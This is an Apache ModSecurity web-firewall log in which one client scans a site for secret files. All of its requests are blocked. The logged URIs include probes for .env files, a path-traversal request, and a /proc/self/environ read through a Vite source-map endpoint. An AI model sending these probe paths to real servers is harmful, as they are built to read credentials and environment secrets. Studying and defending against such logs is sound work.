[Sun Oct 25 16:35:26.738267 2026] [security2:error] [pid 2897200:tid 2897200] [client 34.47.34.62:56284] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /@fs/proc/self/cwd/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "recursos2.sherwinpinturas.com"] [uri "/@fs/proc/self/cwd/.env"] [unique_id "at5oDv3ebQuInVpw1e8OHgAAAAI"]
[Sun Oct 25 16:35:26.738596 2026] [security2:error] [pid 2897200:tid 2897200] [client 34.47.34.62:56284] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "recursos2.sherwinpinturas.com"] [uri "/@fs/proc/self/cwd/.env"] [unique_id "at5oDv3ebQuInVpw1e8OHgAAAAI"]
[Sun Oct 25 16:35:26.738849 2026] [security2:error] [pid 2897200:tid 2897200] [client 34.47.34.62:56284] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "recursos2.sherwinpinturas.com"] [uri "/@fs/proc/self/cwd/.env"] [unique_id "at5oDv3ebQuInVpw1e8OHgAAAAI"]
[Sun Oct 25 16:35:26.739848 2026] [security2:error] [pid 2889353:tid 2889353] [client 34.47.34.62:54190] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "recursos2.sherwinpinturas.com"] [uri "/.env.production.local"] [unique_id "at5oDq8dg0Qe9Rh6wUUcHQAAAEU"]
[Sun Oct 25 16:35:26.739987 2026] [security2:error] [pid 2889353:tid 2889353] [client 34.47.34.62:54190] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "recursos2.sherwinpinturas.com"] [uri "/.env.production.local"] [unique_id "at5oDq8dg0Qe9Rh6wUUcHQAAAEU"]
[Sun Oct 25 16:35:26.740209 2026] [security2:error] [pid 2889353:tid 2889353] [client 34.47.34.62:54190] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "recursos2.sherwinpinturas.com"] [uri "/.env.production.local"] [unique_id "at5oDq8dg0Qe9Rh6wUUcHQAAAEU"]
[Sun Oct 25 16:35:26.753522 2026] [security2:error] [pid 2887586:tid 2887586] [client 34.47.34.62:56244] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /@fs/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "recursos2.sherwinpinturas.com"] [uri "/@fs/.env"] [unique_id "at5oDnWAJkvYyuEsFoLIRwAAABc"]
[Sun Oct 25 16:35:26.754014 2026] [security2:error] [pid 2887586:tid 2887586] [client 34.47.34.62:56244] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "recursos2.sherwinpinturas.com"] [uri "/@fs/.env"] [unique_id "at5oDnWAJkvYyuEsFoLIRwAAABc"]
[Sun Oct 25 16:35:26.754257 2026] [security2:error] [pid 2887586:tid 2887586] [client 34.47.34.62:56244] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "recursos2.sherwinpinturas.com"] [uri "/@fs/.env"] [unique_id "at5oDnWAJkvYyuEsFoLIRwAAABc"]
[Sun Oct 25 16:35:26.755407 2026] [security2:error] [pid 2889348:tid 2889348] [client 34.47.34.62:56338] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /@fs/app/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "recursos2.sherwinpinturas.com"] [uri "/@fs/app/.env"] [unique_id "at5oDuawu2hdqh-E8Ti3VAAAAD8"]
[Sun Oct 25 16:35:26.755833 2026] [security2:error] [pid 2889348:tid 2889348] [client 34.47.34.62:56338] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "recursos2.sherwinpinturas.com"] [uri "/@fs/app/.env"] [unique_id "at5oDuawu2hdqh-E8Ti3VAAAAD8"]
[Sun Oct 25 16:35:26.756084 2026] [security2:error] [pid 2889348:tid 2889348] [client 34.47.34.62:56338] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "recursos2.sherwinpinturas.com"] [uri "/@fs/app/.env"] [unique_id "at5oDuawu2hdqh-E8Ti3VAAAAD8"]
[Sun Oct 25 16:35:26.757162 2026] [security2:error] [pid 2889353:tid 2889353] [client 34.47.34.62:54190] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /@fs/app/.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "recursos2.sherwinpinturas.com"] [uri "/@fs/app/.env.local"] [unique_id "at5oDq8dg0Qe9Rh6wUUcHgAAAEU"]
[Sun Oct 25 16:35:26.757612 2026] [security2:error] [pid 2889353:tid 2889353] [client 34.47.34.62:54190] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "recursos2.sherwinpinturas.com"] [uri "/@fs/app/.env.local"] [unique_id "at5oDq8dg0Qe9Rh6wUUcHgAAAEU"]
[Sun Oct 25 16:35:26.757815 2026] [security2:error] [pid 2889353:tid 2889353] [client 34.47.34.62:54190] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "recursos2.sherwinpinturas.com"] [uri "/@fs/app/.env.local"] [unique_id "at5oDq8dg0Qe9Rh6wUUcHgAAAEU"]
[Sun Oct 25 16:35:26.758779 2026] [security2:error] [pid 2885094:tid 2885094] [client 34.47.34.62:56308] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "29"] [id "930100"] [rev "3"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI_RAW: /@fs/../.env?import&raw??"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "recursos2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at5oDsQLj3BHFe0xVVDO6AAAAAU"]
[Sun Oct 25 16:35:26.758870 2026] [security2:error] [pid 2885094:tid 2885094] [client 34.47.34.62:56308] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "recursos2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at5oDsQLj3BHFe0xVVDO6AAAAAU"]
[Sun Oct 25 16:35:26.759242 2026] [security2:error] [pid 2885094:tid 2885094] [client 34.47.34.62:56308] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "recursos2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at5oDsQLj3BHFe0xVVDO6AAAAAU"]
[Sun Oct 25 16:35:26.759459 2026] [security2:error] [pid 2885094:tid 2885094] [client 34.47.34.62:56308] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=10,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "recursos2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at5oDsQLj3BHFe0xVVDO6AAAAAU"]
[Sun Oct 25 16:35:26.760428 2026] [security2:error] [pid 2897860:tid 2897860] [client 34.47.34.62:56344] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /@fs/app/.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "recursos2.sherwinpinturas.com"] [uri "/@fs/app/.env.production"] [unique_id "at5oDoukxjiHll2_888PHwAAAAw"]
[Sun Oct 25 16:35:26.760866 2026] [security2:error] [pid 2897860:tid 2897860] [client 34.47.34.62:56344] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "recursos2.sherwinpinturas.com"] [uri "/@fs/app/.env.production"] [unique_id "at5oDoukxjiHll2_888PHwAAAAw"]
[Sun Oct 25 16:35:26.761079 2026] [security2:error] [pid 2897860:tid 2897860] [client 34.47.34.62:56344] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "recursos2.sherwinpinturas.com"] [uri "/@fs/app/.env.production"] [unique_id "at5oDoukxjiHll2_888PHwAAAAw"]
[Sun Oct 25 16:35:26.764840 2026] [security2:error] [pid 2897472:tid 2897472] [client 34.47.34.62:56270] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /@fs/src/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "recursos2.sherwinpinturas.com"] [uri "/@fs/src/.env"] [unique_id "at5oDmVLMQvPe13-2XNXZgAAAAY"]
[Sun Oct 25 16:35:26.765255 2026] [security2:error] [pid 2897472:tid 2897472] [client 34.47.34.62:56270] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "recursos2.sherwinpinturas.com"] [uri "/@fs/src/.env"] [unique_id "at5oDmVLMQvPe13-2XNXZgAAAAY"]
[Sun Oct 25 16:35:26.765465 2026] [security2:error] [pid 2897472:tid 2897472] [client 34.47.34.62:56270] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "recursos2.sherwinpinturas.com"] [uri "/@fs/src/.env"] [unique_id "at5oDmVLMQvPe13-2XNXZgAAAAY"]
[Sun Oct 25 16:35:26.788529 2026] [security2:error] [pid 2897652:tid 2897652] [client 34.47.34.62:56254] ModSecurity: Warning. Matched phrase "proc/self/environ" at ARGS:filename. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "41"] [id "930120"] [rev "4"] [msg "OS File Access Attempt"] [data "Matched Data: proc/self/environ found within ARGS:filename: file:/proc/self/environ"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "recursos2.sherwinpinturas.com"] [uri "/__vite_rsc_findSourceMapURL"] [unique_id "at5oDrgKC8DPM1idVOQumQAAAA8"]
[Sun Oct 25 16:35:26.789312 2026] [security2:error] [pid 2897652:tid 2897652] [client 34.47.34.62:56254] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "recursos2.sherwinpinturas.com"] [uri "/__vite_rsc_findSourceMapURL"] [unique_id "at5oDrgKC8DPM1idVOQumQAAAA8"]
[Sun Oct 25 16:35:26.789574 2026] [security2:error] [pid 2897652:tid 2897652] [client 34.47.34.62:56254] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): OS File Access Attempt"] [tag "event-correlation"] [hostname "recursos2.sherwinpinturas.com"] [uri "/__vite_rsc_findSourceMapURL"] [unique_id "at5oDrgKC8DPM1idVOQumQAAAA8"]
[Sun Oct 25 16:35:26.795133 2026] [security2:error] [pid 2889353:tid 2889353] [client 34.47.34.62:54190] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "recursos2.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at5oDq8dg0Qe9Rh6wUUcHwAAAEU"]
[Sun Oct 25 16:35:26.795580 2026] [security2:error] [pid 2889353:tid 2889353] [client 34.47.34.62:54190] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "recursos2.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at5oDq8dg0Qe9Rh6wUUcHwAAAEU"]
[Sun Oct 25 16:35:26.795787 2026] [security2:error] [pid 2889353:tid 2889353] [client 34.47.34.62:54190] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "recursos2.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at5oDq8dg0Qe9Rh6wUUcHwAAAEU"]
[Sun Oct 25 16:35:26.796807 2026] [security2:error] [pid 2887586:tid 2887586] [client 34.47.34.62:56244] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "recursos2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at5oDnWAJkvYyuEsFoLISAAAABc"]
[Sun Oct 25 16:35:26.797114 2026] [security2:error] [pid 2887586:tid 2887586] [client 34.47.34.62:56244] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "recursos2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at5oDnWAJkvYyuEsFoLISAAAABc"]
[Sun Oct 25 16:35:26.797330 2026] [security2:error] [pid 2887586:tid 2887586] [client 34.47.34.62:56244] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "recursos2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at5oDnWAJkvYyuEsFoLISAAAABc"]
[Sun Oct 25 16:35:26.809249 2026] [security2:error] [pid 2897200:tid 2897200] [client 34.47.34.62:56284] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "recursos2.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at5oDv3ebQuInVpw1e8OIAAAAAI"]
[Sun Oct 25 16:35:26.809572 2026] [security2:error] [pid 2897200:tid 2897200] [client 34.47.34.62:56284] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "recursos2.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at5oDv3ebQuInVpw1e8OIAAAAAI"]
[Sun Oct 25 16:35:26.809793 2026] [security2:error] [pid 2897200:tid 2897200] [client 34.47.34.62:56284] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "recursos2.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at5oDv3ebQuInVpw1e8OIAAAAAI"]
[Sun Oct 25 16:35:26.810838 2026] [security2:error] [pid 2889287:tid 2889287] [client 34.47.34.62:56264] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "recursos2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at5oDmFV96rJYXEkIA1oKwAAABk"]
